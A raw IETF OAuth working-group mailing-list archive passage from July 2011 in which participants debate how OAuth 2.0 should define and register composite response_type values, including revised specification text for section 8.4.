>> >> >> >> No one will remember the hex code for += .
>> >> >> >>
>> >> >> >> Marius
>> >> >> >> _______________________________________= ________
>> >> >> >> OAuth mailing list
>> >> >> >> OAuth= @ietf.org
>> >> >> >> https://www.ietf.org/mailman/listinfo/oa= uth
>> >> >> >
>> >> >>
>> >> >>
>> >> >>
>> >> >> --
>> >> >> --Breno
>> >> >
>> >>
>> >>
>> >>
>> >> --
>> >> --Breno
>> >
>>
>>
>>
>> --
>> --Breno
>> _______________________________________________
>> OAuth mailing list
>> OAuth@ietf.org
>> https://www.ietf.org/mailman/listinfo/oauth
>>
>> _______________________________________________
>> OAuth mailing list
>> OAuth@ietf.org
>> https://www.ietf.org/mailman/listinfo/oauth
>_______________________________________________
>OAuth mailing list
>OAuth@ietf.org
>https://www.ietf.org/mailman/listinfo/oauth

_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



--
Breno de Me= deiros

--bcaec53af1ac4014b804a8815e2d-- From breno.demedeiros@gmail.com Wed Jul 20 07:52:24 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 4350721F85E3 for ; Wed, 20 Jul 2011 07:52:24 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.998 X-Spam-Level: X-Spam-Status: No, score=-2.998 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, J_CHICKENPOX_45=0.6, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id M814tXvZpNSy for ; Wed, 20 Jul 2011 07:52:20 -0700 (PDT) Received: from mail-pz0-f53.google.com (mail-pz0-f53.google.com [209.85.210.53]) by ietfa.amsl.com (Postfix) with ESMTP id E887721F85EC for ; Wed, 20 Jul 2011 07:52:19 -0700 (PDT) Received: by pzk6 with SMTP id 6so410221pzk.26 for ; Wed, 20 Jul 2011 07:52:19 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=VRnAiB7WsksolMEN9eSZB1R4BG6UQdlNjLInxyWdPF4=; b=g8UJ/uZec1a9ZRJY/ToxVLyoOqsGrfuMeT2YKyvdfRK/pqRNS0t6gLeW/lrMSejg2+ ijK7DqdaD2HR5XjhkGYb7FzvLoHyOZnLO7QJCf1aU8fzuI0ZNrjhDDJpLiCM/iO1n80S zhmY6cQiAwJ6/f/o0T0KKIwBCLNatDUXToeOY= MIME-Version: 1.0 Received: by 10.68.47.105 with SMTP id c9mr11382996pbn.459.1311173539557; Wed, 20 Jul 2011 07:52:19 -0700 (PDT) Received: by 10.68.42.41 with HTTP; Wed, 20 Jul 2011 07:52:19 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D4A0611@P3PW5EX1MB01.EX1.SECURESERVER.NET> Date: Wed, 20 Jul 2011 07:52:19 -0700 Message-ID: From: Breno To: Paul Tarjan Content-Type: multipart/alternative; boundary=bcaec53960ba1072de04a8816109 Cc: OAuth WG Subject: Re: [OAUTH-WG] defining new response types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 14:52:24 -0000 --bcaec53960ba1072de04a8816109 Content-Type: text/plain; charset=ISO-8859-1 Sorry, I meant response_type 'none' and _not_ 'node' On Wed, Jul 20, 2011 at 7:51 AM, Breno wrote: > > > Comments inline. > > On Tue, Jul 12, 2011 at 8:23 PM, Paul Tarjan wrote: > >> I like splitting on space like scopes. But I'm fine with registering all >> possible compositions that make sense, if you prefer. >> > > I agree with Marius that registering the combinations are not useful, > however also agree with Paul that it's not a show stopper. > > >> >> >> As I posted to the group about a month ago, we are planning on supporting >> >> response_type=none >> response_type=code >> response_type=token >> response_type=signed_request token >> response_type=token signed_request >> (and maybe "code token"/"token code") >> >> > Google is planning to support the following combinations: > > response_type=node > response_type=id_token > response_type=code > response_type=token > response_type=code token (in either order, fragment-encoded response) > response_type=code id_token (in either order, query-encoded response) > response_type=token id_token (in either order, fragment-encoded response) > response_type=code token id_token (in any possible order, fragment-encoded > response) > > > >> We already have support for response_type=none and the signed_request one >> is a few weeks out. >> >> Paul >> >> >> On 7/12/11 1:35 PM, "Eran Hammer-Lahav" wrote: >> >> >I will withdraw my objections to the change (parsing the response_type >> >string) if enough support is present. If you care about it, please speak >> >out now. >> > >> >EHL >> > >> >> -----Original Message----- >> >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> >> Of Mike Jones >> >> Sent: Tuesday, July 12, 2011 1:32 PM >> >> To: OAuth WG >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> As a data point motivating this functionality, the OpenID Connect Core >> >>spec >> >> currently includes: >> >> >> >> response_type >> >> A space delimited, case sensitive list of string >> >> values (Pending OAuth 2.0 changes). Acceptable values include >> >> "code", "token", and "none". The value MUST include "code" for >> >> requesting an Authorization Code, "token" for requesting an >> Access >> >> Token, and "none" if no response is needed. >> >> >> >> The OpenID Connect Session Management spec also defines an "id_token" >> >> response_type. Combinations of these (other than "none") are >> meaningful >> >> and used. >> >> >> >> The syntax for this can change, but this functionality is very >> >>important to >> >> OpenID Connect as it is currently written. >> >> >> >> Thanks, >> >> -- Mike >> >> >> >> -----Original Message----- >> >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf >> >> Of Breno de Medeiros >> >> Sent: Tuesday, July 12, 2011 11:48 AM >> >> To: Eran Hammer-Lahav >> >> Cc: OAuth WG >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav >> >> wrote: >> >> > That's pretty farfetched. In previous versions we had >> 'code_and_token' >> >> which was a composite value but without any special characters. If >> >>people >> >> think that we need to force such values to avoid this claimed developer >> >> confusion, let's drop the + and be done. >> >> > >> >> >> >> Maybe far fetched, but it's already available in our production >> >>environment -- >> >> we had implemented the code_and_token approach earlier (though not >> >> documented it) but abandoned that route as we thought the exponential >> >> explosion was harmful when we started contemplating adding new types >> >> and allowing various combinations of them. >> >> >> >> > The only requirement I was asked to cover was to allow response type >> >> extensibility. If there is WG consensus to also support the requirement >> >>of >> >> composite values using any order, we can discuss that. >> >> >> >> Let's. >> >> >> >> > >> >> > In addition, defining a parsing method adds a significant amount of >> >>new >> >> complexity beyond just splitting the string: >> >> > >> >> > * It allows for composite values that make no sense (since anything >> >>goes, >> >> composite values are not registered, just the components). >> >> > * Additional error codes are needed to indicate bad format, >> >>unsupported >> >> values (specify which one), unsupported combinations, etc. >> >> > * Developers lose the benefit of a simple registry with every >> possible >> >> combination they may choose. >> >> > >> >> > So the two questions are: >> >> > >> >> > 1. Do you find the + proposal as defined in -18 to be useful or >> >>confusing? >> >> >> >> It is ugly. >> >> >> >> > 2. Should the protocol support dynamic composite values with the >> added >> >> complexity (breaking change)? >> >> >> >> That's my preference. >> >> >> >> > >> >> > EHL >> >> > >> >> >> -----Original Message----- >> >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> >> Sent: Tuesday, July 12, 2011 11:18 AM >> >> >> To: Eran Hammer-Lahav >> >> >> Cc: Marius Scurtescu; OAuth WG >> >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> >> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav >> >> >> >> >> >> wrote: >> >> >> > Requiring parsing of the response type parameter is a big change >> at >> >> >> > this >> >> >> point. Even if it is a decent idea, I'm against it for the sole >> >> >> reason that I don't want to introduce such a change - we're done. >> >> >> > >> >> >> > The + character makes reading values easier because it give >> >> >> > composites of >> >> >> existing, individually defined values, a special meaning to >> *people*, >> >> >> but it does not change any existing code or adds any work. Servers >> >> >> will still perform simple string comparison. Parsing a list of >> >>values is >> >> unnecessary complexity. >> >> >> Developers can learn to put values in their expected order (since >> >> >> they are all going to cut-n-paste anyway). >> >> >> >> >> >> I disagree. I believe that servers will either not support the >> >> >> composite types at all, or will allow developers to enter it into >> any >> >> >> order to avoid developer pain. >> >> >> >> >> >> Also, developers will _not_ cut-and-paste. They will expect the fact >> >> >> that order is not meaningful by interacting with providers that >> don't >> >> >> perform exact string matching and then have interoperability issues >> >> >> with compliant implementations. >> >> >> >> >> >> > >> >> >> > I rather drop the special character then add parsing, but I think >> >> >> > it is a useful >> >> >> *convention*. >> >> >> > >> >> >> > Do people want to keep it or drop it? >> >> >> > >> >> >> > EHL >> >> >> > >> >> >> > >> >> >> >> -----Original Message----- >> >> >> >> From: Breno de Medeiros [mailto:breno@google.com] >> >> >> >> Sent: Tuesday, July 12, 2011 10:59 AM >> >> >> >> To: Eran Hammer-Lahav >> >> >> >> Cc: Marius Scurtescu; OAuth WG >> >> >> >> Subject: Re: [OAUTH-WG] defining new response types >> >> >> >> >> >> >> >> Imposing order and exact string matching on response_type's while >> >> >> >> simultaneously supporting a special character '+' and introducing >> >> >> >> the concept of composite response_type is a poor compromise, >> >> IMNSHO. >> >> >> What >> >> >> >> is the rationale to fear allowing multiple-valued response_type >> as >> >> >> >> we have for other parameters in the spec? >> >> >> >> >> >> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav >> >> >> >> >> >> >> >> wrote: >> >> >> >> > As for the plus encoding we can choose another char or give an >> >> >> example. >> >> >> >> > >> >> >> >> > On Jul 11, 2011, at 18:07, "Marius Scurtescu" >> >> >> >> > >> >> >> >> wrote: >> >> >> >> > >> >> >> >> >> If I read section 8.4 correctly it seems that new response >> >> >> >> >> types can be defined but composite values must be registered >> >> explicitly. >> >> >> >> >> >> >> >> >> >> I don't think this approach scales too well. OpenID Connect >> for >> >> >> >> >> example is adding a new response type: id_token. >> >> >> >> >> >> >> >> >> >> id_token can be combined with either code or token and >> >> >> >> >> potentially with both of them, the following combinations must >> >> >> >> >> be registered as a >> >> >> >> >> result: >> >> >> >> >> code+id_token >> >> >> >> >> token+id_token >> >> >> >> >> code+token+id_token >> >> >> >> >> >> >> >> >> >> and this assumes that code+token is already registered. >> >> >> >> >> >> >> >> >> >> I think it makes more sense to define response_type as a space >> >> >> >> >> separated list of items, where each item can be individually >> >> >> >> >> registered. I do realize that this complicates things quite a >> >> >> >> >> bit (not we have to define and deal with both composite >> >> >> >> >> response_type and the individual items). >> >> >> >> >> >> >> >> >> >> As a side note, using + as separator could cause lots of >> >>problems. >> >> >> >> >> If people naively type "code+toke" it will be decoded as "code >> >> token". >> >> >> >> >> No one will remember the hex code for +. >> >> >> >> >> >> >> >> >> >> Marius >> >> >> >> >> _______________________________________________ >> >> >> >> >> OAuth mailing list >> >> >> >> >> OAuth@ietf.org >> >> >> >> >> https://www.ietf.org/mailman/listinfo/oauth >> >> >> >> > >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> -- >> >> >> >> --Breno >> >> >> > >> >> >> >> >> >> >> >> >> >> >> >> -- >> >> >> --Breno >> >> > >> >> >> >> >> >> >> >> -- >> >> --Breno >> >> _______________________________________________ >> >> OAuth mailing list >> >> OAuth@ietf.org >> >> https://www.ietf.org/mailman/listinfo/oauth >> >> >> >> _______________________________________________ >> >> OAuth mailing list >> >> OAuth@ietf.org >> >> https://www.ietf.org/mailman/listinfo/oauth >> >_______________________________________________ >> >OAuth mailing list >> >OAuth@ietf.org >> >https://www.ietf.org/mailman/listinfo/oauth >> >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >> > > > > -- > Breno de Medeiros > > -- Breno de Medeiros --bcaec53960ba1072de04a8816109 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Sorry, I meant response_type 'none' and _not_ 'node'
On Wed, Jul 20, 2011 at 7:51 AM, Breno <breno.demedeiro= s@gmail.com> wrote:


Comments inline.
On Tue, Jul 12, 2011 at 8:23 = PM, Paul Tarjan <pt@fb.com> wrote:
I like splitting on space like scopes. But I'm fine with registering al= l
possible compositions that make sense, if you prefer.
=
I agree with Marius that registering the combinations = are not useful, however also agree with Paul that it's not a show stopp= er.
=A0


As I posted to the group about a month ago, we are planning on supporting
response_type=3Dnone
response_type=3Dcode
response_type=3Dtoken
response_type=3Dsigned_request token
response_type=3Dtoken signed_request
(and maybe "code token"/"token code")


Google is planning to support th= e following combinations:

response_type=3Dnode
response_type=3Did_token
response_type=3Dcode
response_type=3Dtoken
response_type=3Dcode token (in either order, fragment-encoded re= sponse)
response_type=3Dcode id_token (in either order, query-enc= oded response)
response_type=3Dtoken id_token (in either order, f= ragment-encoded response)
response_type=3Dcode token id_token (in any possible order, fragment-e= ncoded response)

=A0
We already have support for response_type=3Dnone and the signed_request one=
is a few weeks out.

Paul


On 7/12/11 1:35 PM, "Eran Hammer-Lahav" <eran@hueniverse.com> wrote:

>I will withdraw my objections to the change (parsing the response_type<= br> >string) if enough support is present. If you care about it, please spea= k
>out now.
>
>EHL
>
>> -----Original Message-----
>> From: = oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf
>> Of Mike Jones
>> Sent: Tuesday, July 12, 2011 1:32 PM
>> To: OAuth WG
>> Subject: Re: [OAUTH-WG] defining new response types
>>
>> As a data point motivating this functionality, the OpenID Connect = Core
>>spec
>> currently includes:
>>
>> =A0 =A0response_type
>> =A0 =A0 =A0 A space delimited, case sensitive list of string
>> =A0 =A0 =A0 values (Pending OAuth 2.0 changes). =A0Acceptable valu= es include
>> =A0 =A0 =A0 "code", "token", and "none&qu= ot;. =A0The value MUST include "code" for
>> =A0 =A0 =A0 requesting an Authorization Code, "token" fo= r requesting an Access
>> =A0 =A0 =A0 Token, and "none" if no response is needed.<= br> >>
>> The OpenID Connect Session Management spec also defines an "i= d_token"
>> response_type. =A0Combinations of these (other than "none&quo= t;) are meaningful
>> and used.
>>
>> The syntax for this can change, but this functionality is very
>>important to
>> OpenID Connect as it is currently written.
>>
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 Thanks,
>> =A0 =A0 =A0 =A0 =A0 =A0 =A0 =A0 -- Mike
>>
>> -----Original Message-----
>> From: = oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf
>> Of Breno de Medeiros
>> Sent: Tuesday, July 12, 2011 11:48 AM
>> To: Eran Hammer-Lahav
>> Cc: OAuth WG
>> Subject: Re: [OAUTH-WG] defining new response types
>>
>> On Tue, Jul 12, 2011 at 11:36, Eran Hammer-Lahav <eran@hueniverse.com>
>> wrote:
>> > That's pretty farfetched. In previous versions we had = 9;code_and_token'
>> which was a composite value but without any special characters. If=
>>people
>> think that we need to force such values to avoid this claimed deve= loper
>> confusion, let's drop the + and be done.
>> >
>>
>> Maybe far fetched, but it's already available in our productio= n
>>environment --
>> we had implemented the code_and_token approach earlier (though not=
>> documented it) but abandoned that route as we thought the exponent= ial
>> explosion was harmful when we started contemplating adding new typ= es
>> and allowing various combinations of them.
>>
>> > The only requirement I was asked to cover was to allow respon= se type
>> extensibility. If there is WG consensus to also support the requir= ement
>>of
>> composite values using any order, we can discuss that.
>>
>> Let's.
>>
>> >
>> > In addition, defining a parsing method adds a significant amo= unt of
>>new
>> complexity beyond just splitting the string:
>> >
>> > * It allows for composite values that make no sense (since an= ything
>>goes,
>> composite values are not registered, just the components).
>> > * Additional error codes are needed to indicate bad format, >>unsupported
>> values (specify which one), unsupported combinations, etc.
>> > * Developers lose the benefit of a simple registry with every= possible
>> combination they may choose.
>> >
>> > So the two questions are:
>> >
>> > 1. Do you find the + proposal as defined in -18 to be useful = or
>>confusing?
>>
>> It is ugly.
>>
>> > 2. Should the protocol support dynamic composite values with = the added
>> complexity (breaking change)?
>>
>> That's my preference.
>>
>> >
>> > EHL
>> >
>> >> -----Original Message-----
>> >> From: Breno de Medeiros [mailto:breno@google.com]
>> >> Sent: Tuesday, July 12, 2011 11:18 AM
>> >> To: Eran Hammer-Lahav
>> >> Cc: Marius Scurtescu; OAuth WG
>> >> Subject: Re: [OAUTH-WG] defining new response types
>> >>
>> >> On Tue, Jul 12, 2011 at 11:10, Eran Hammer-Lahav
>> >> <eran@hueniverse.com>
>> >> wrote:
>> >> > Requiring parsing of the response type parameter is = a big change at
>> >> > this
>> >> point. Even if it is a decent idea, I'm against it fo= r the sole
>> >> reason that I don't want to introduce such a change -= we're done.
>> >> >
>> >> > The + character makes reading values easier because = it give
>> >> > composites of
>> >> existing, individually defined values, a special meaning = to *people*,
>> >> but it does not change any existing code or adds any work= . Servers
>> >> will still perform simple string comparison. Parsing a li= st of
>>values is
>> unnecessary complexity.
>> >> Developers can learn to put values in their expected orde= r (since
>> >> they are all going to cut-n-paste anyway).
>> >>
>> >> I disagree. I believe that servers will either not suppor= t the
>> >> composite types at all, or will allow developers to enter= it into any
>> >> order to avoid developer pain.
>> >>
>> >> Also, developers will _not_ cut-and-paste. They will expe= ct the fact
>> >> that order is not meaningful by interacting with provider= s that don't
>> >> perform exact string matching and then have interoperabil= ity issues
>> >> with compliant implementations.
>> >>
>> >> >
>> >> > I rather drop the special character then add parsing= , but I think
>> >> > it is a useful
>> >> *convention*.
>> >> >
>> >> > Do people want to keep it or drop it?
>> >> >
>> >> > EHL
>> >> >
>> >> >
>> >> >> -----Original Message-----
>> >> >> From: Breno de Medeiros [mailto:breno@google.com]
>> >> >> Sent: Tuesday, July 12, 2011 10:59 AM
>> >> >> To: Eran Hammer-Lahav
>> >> >> Cc: Marius Scurtescu; OAuth WG
>> >> >> Subject: Re: [OAUTH-WG] defining new response ty= pes
>> >> >>
>> >> >> Imposing order and exact string matching on resp= onse_type's while
>> >> >> simultaneously supporting a special character &#= 39;+' and introducing
>> >> >> the concept of composite response_type is a poor= compromise,
>> IMNSHO.
>> >> What
>> >> >> is the rationale to fear allowing multiple-value= d response_type as
>> >> >> we have for other parameters in the spec?
>> >> >>
>> >> >> On Mon, Jul 11, 2011 at 18:51, Eran Hammer-Lahav=
>> >> >> <eran@hueniverse.com>
>> >> >> wrote:
>> >> >> > As for the plus encoding we can choose anot= her char or give an
>> >> example.
>> >> >> >
>> >> >> > On Jul 11, 2011, at 18:07, "Marius Scu= rtescu"
>> >> >> > <mscurtescu@google.com>
>> >> >> wrote:
>> >> >> >
>> >> >> >> If I read section 8.4 correctly it seem= s that new response
>> >> >> >> types can be defined but composite valu= es must be registered
>> explicitly.
>> >> >> >>
>> >> >> >> I don't think this approach scales = too well. OpenID Connect for
>> >> >> >> example is adding a new response type: = id_token.
>> >> >> >>
>> >> >> >> id_token can be combined with either co= de or token and
>> >> >> >> potentially with both of them, the foll= owing combinations must
>> >> >> >> be registered as a
>> >> >> >> result:
>> >> >> >> code+id_token
>> >> >> >> token+id_token
>> >> >> >> code+token+id_token
>> >> >> >>
>> >> >> >> and this assumes that code+token is alr= eady registered.
>> >> >> >>
>> >> >> >> I think it makes more sense to define r= esponse_type as a space
>> >> >> >> separated list of items, where each ite= m can be individually
>> >> >> >> registered. I do realize that this comp= licates things quite a
>> >> >> >> bit (not we have to define and deal wit= h both composite
>> >> >> >> response_type and the individual items)= .
>> >> >> >>
>> >> >> >> As a side note, using + as separator co= uld cause lots of
>>problems.
>> >> >> >> If people naively type "code+toke&= quot; it will be decoded as "code
>> token".
>> >> >> >> No one will remember the hex code for += .
>> >> >> >>
>> >> >> >> Marius
>> >> >> >> _______________________________________= ________
>> >> >> >> OAuth mailing list
>> >> >> >> OAuth@ietf.org
>> >> >> >> https://www.ietf.org/mailman/listinfo/oa= uth
>> >> >> >
>> >> >>
>> >> >>
>> >> >>
>> >> >> --
>> >> >> --Breno
>> >> >
>> >>
>> >>
>> >>
>> >> --
>> >> --Breno
>> >
>>
>>
>>
>> --
>> --Breno
>> _______________________________________________
>> OAuth mailing list
>> OAuth@ietf.org=
>> https://www.ietf.org/mailman/listinfo/oauth
>>
>> _______________________________________________
>> OAuth mailing list
>> OAuth@ietf.org=
>> https://www.ietf.org/mailman/listinfo/oauth
>_______________________________________________
>OAuth mailing list
>OAuth@ietf.org<= br> >https://www.ietf.org/mailman/listinfo/oauth

_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



-- Breno de Medeiros




--
Breno de Medeiros
--bcaec53960ba1072de04a8816109-- From breno.demedeiros@gmail.com Wed Jul 20 08:21:12 2011 Return-Path: X-Original-To: oauth@ietfa.amsl.com Delivered-To: oauth@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 2212A21F858D for ; Wed, 20 Jul 2011 08:21:12 -0700 (PDT) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -3.598 X-Spam-Level: X-Spam-Status: No, score=-3.598 tagged_above=-999 required=5 tests=[BAYES_00=-2.599, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_LOW=-1] Received: from mail.ietf.org ([64.170.98.30]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id Q5YjtmL15Ycm for ; Wed, 20 Jul 2011 08:21:07 -0700 (PDT) Received: from mail-pv0-f172.google.com (mail-pv0-f172.google.com [74.125.83.172]) by ietfa.amsl.com (Postfix) with ESMTP id 50D2421F84C8 for ; Wed, 20 Jul 2011 08:21:07 -0700 (PDT) Received: by pvh18 with SMTP id 18so397119pvh.31 for ; Wed, 20 Jul 2011 08:21:07 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :cc:content-type; bh=xrwCv4CW47wi/wPdNrjEwFT+DrLhbzTzK9z7RUOKeOA=; b=f84AghBaL5KPjnaY2/Y1pqbd0kVdwYjhX54ZsZhO0AkrzZmA613kdaG/+vBiMt4WeH iOzuJ7t91yXWr06TwiKeQCLrvv6DnhXKsLa/6+l5DpbAtrENuUMfzrOy0DI3XsQgEoN1 Bd9mm/tYokfRwji16Xe5F6eQAC/9AN0LtE4UE= MIME-Version: 1.0 Received: by 10.68.51.68 with SMTP id i4mr9370507pbo.124.1311175266861; Wed, 20 Jul 2011 08:21:06 -0700 (PDT) Received: by 10.68.42.41 with HTTP; Wed, 20 Jul 2011 08:21:06 -0700 (PDT) In-Reply-To: References: <90C41DD21FB7C64BB94121FBBC2E7234501D6E0653@P3PW5EX1MB01.EX1.SECURESERVER.NET> <90C41DD21FB7C64BB94121FBBC2E7234501D6E0720@P3PW5EX1MB01.EX1.SECURESERVER.NET> <4E1F6AAD24975D4BA5B168042967394348D52D1F@TK5EX14MBXC201.redmond.corp.microsoft.com> Date: Wed, 20 Jul 2011 08:21:06 -0700 Message-ID: From: Breno To: Aiden Bell Content-Type: multipart/alternative; boundary=bcaec51a763a0502d604a881c824 Cc: OAuth WG Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Authorization Endpoint Response Types X-BeenThere: oauth@ietf.org X-Mailman-Version: 2.1.12 Precedence: list List-Id: OAUTH WG List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 20 Jul 2011 15:21:12 -0000 --bcaec51a763a0502d604a881c824 Content-Type: text/plain; charset=ISO-8859-1 On Tue, Jul 19, 2011 at 10:08 AM, Aiden Bell wrote: > This seems clearer Eran. I don't blame you for not liking "collection", I > was searching for a term without > too much theoretical background; Your revision reads much better. > > I'm happy with it. This seems like a good alternative now if parsing is the > concensus. > > Thanks again, > Aiden > > > On 19 July 2011 17:33, Mike Jones wrote: > >> Good >> > Also agree that this is a reasonable compromise. > >> -----Original Message----- >> From: oauth-bounces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of >> Eran Hammer-Lahav >> Sent: Tuesday, July 19, 2011 9:24 AM >> To: OAuth WG >> Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New >> Authorization Endpoint Response Types >> >> Revised text. I changed it to focus on the implementation details. >> >> In other words, all response types must be registered. If the type name >> includes spaces, it changes how the value is compared (space-delimited list >> of values where the order does not matter). That's it. Spaces only change >> how values are compared. >> >> EHL >> >> --- >> >> 8.4. Defining New Authorization Endpoint Response Types >> >> New response types for use with the authorization endpoint are >> defined and registered in the authorization endpoint response type >> registry following the procedure in Section 11.3. Response type >> names MUST conform to the response-type ABNF. >> >> response-type = response-name *( SP response-name ) >> response-name = 1*response-char >> response-char = "_" / DIGIT / ALPHA >> >> If a response type contains one of more space characters (%x20), it is >> compared as a space-delimited list of values in which the order of >> values >> does not matter. Only one order of values can be registered, which >> covers >> all other arrangements of the same set of values. >> >> For example, the response type "token code" is left undefined by this >> specification. >> However, an extension can define and register the "token code" response >> type. >> Once registered, the same combination cannot be registered as "code >> token", but >> both values can be used to denote the same response type. >> >> Also, change the definition of response_type in section 3.1.1: >> >> response_type >> REQUIRED. The value MUST be one of "code" for requesting an >> authorization code as described by Section 4.1.1, "token" for >> requesting an access token (implicit grant) as described by >> Section 4.2.1, or a registered extension value as described by >> Section 8.4. If the response type contains one or more space >> characters >> (%x20), it is interpreted as a space-delimited list of values, >> where >> the order of values does not matter (e.g. "a b" is the same as "b >> a"). >> >> >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >> >> _______________________________________________ >> OAuth mailing list >> OAuth@ietf.org >> https://www.ietf.org/mailman/listinfo/oauth >> > > > > -- > ------------------------------------------------------------------ > Never send sensitive or private information via email unless it is > encrypted. http://www.gnupg.org > > _______________________________________________ > OAuth mailing list > OAuth@ietf.org > https://www.ietf.org/mailman/listinfo/oauth > > -- Breno de Medeiros --bcaec51a763a0502d604a881c824 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

On Tue, Jul 19, 2011 at 10:08 AM, Aiden = Bell <aiden449@g= mail.com> wrote:
This seems clearer Eran. I don't blame you for not liking "collect= ion", I was searching for a term without
too much theoretical backg= round; Your revision reads much better.

I'm happy with it. This = seems like a good alternative now if parsing is the concensus.

Thanks again,
Aiden


On 19 July 2011 17:33, M= ike Jones <Michael.Jones@microsoft.com> wrote:
Good

Als= o agree that this is a reasonable compromise.
=A0

-----Original Message-----
From: oauth-bou= nces@ietf.org [mailto:oauth-bounces@ietf.org] On Behalf Of Eran Hammer-Lahav
Sent: Tuesday, July 19, 2011 9:24 AM
To: OAuth WG
Subject: Re: [OAUTH-WG] Proposed change to section 8.4. Defining New Author= ization Endpoint Response Types

Revised text. I changed it to focus on the implementation details.

In other words, all response types must be registered. If the type name inc= ludes spaces, it changes how the value is compared (space-delimited list of= values where the order does not matter). That's it. Spaces only change= how values are compared.

EHL

---

8.4.=A0 Defining New Authorization Endpoint Response Types

=A0=A0 New response types for use with the authorization endpoint are
=A0=A0 defined and registered in the authorization endpoint response type =A0=A0 registry following the procedure in Section 11.3.=A0 Response type =A0=A0 names MUST conform to the response-type ABNF.

=A0=A0=A0=A0 response-type=A0 =3D response-name *( SP response-name )
=A0=A0=A0=A0 response-name=A0 =3D 1*response-char
=A0=A0=A0=A0 response-char=A0 =3D "_" / DIGIT / ALPHA

=A0=A0 If a response type contains one of more space characters (%x20), it = is
=A0 compared as a space-delimited list of values in which the order of val= ues
=A0 does not matter. Only one order of values can be registered, which cov= ers
=A0 all other arrangements of the same set of values.

=A0=A0 For example, the response type "token code" is left undefi= ned by this specification.
=A0 =A0However, an extension can define and register the "token code&q= uot; response type.
=A0=A0 Once registered, the same combination cannot be registered as "= code token", but
=A0 =A0both values can be used to denote the same response type.

Also, change the definition of response_type in section 3.1.1:

=A0=A0 response_type
=A0=A0=A0=A0=A0=A0=A0=A0 REQUIRED.=A0 The value MUST be one of "code&q= uot; for requesting an
=A0=A0=A0=A0=A0=A0=A0=A0 authorization code as described by Section 4.1.1, = "token" for
=A0=A0=A0=A0=A0=A0=A0=A0 requesting an access token (implicit grant) as des= cribed by
=A0=A0=A0=A0=A0=A0=A0=A0 Section 4.2.1, or a registered extension value as = described by
=A0=A0=A0=A0=A0=A0=A0=A0 Section 8.4. If the response type contains one or = more space characters
=A0 =A0 =A0 =A0 (%x20), it is interpreted as a space-delimited list of val= ues, where
=A0 =A0 =A0 =A0 the order of values does not matter (e.g. "a b" = is the same as "b a").


_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth

_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth



<= div>
--
----------------------------------------= --------------------------
Never send sensitive or private information v= ia email unless it is encrypted. http://www.gnupg.org

_______________________________________________
OAuth mailing list
OAuth@ietf.org
h= ttps://www.ietf.org/mailman/listinfo/oauth




--
Breno de Medeiros
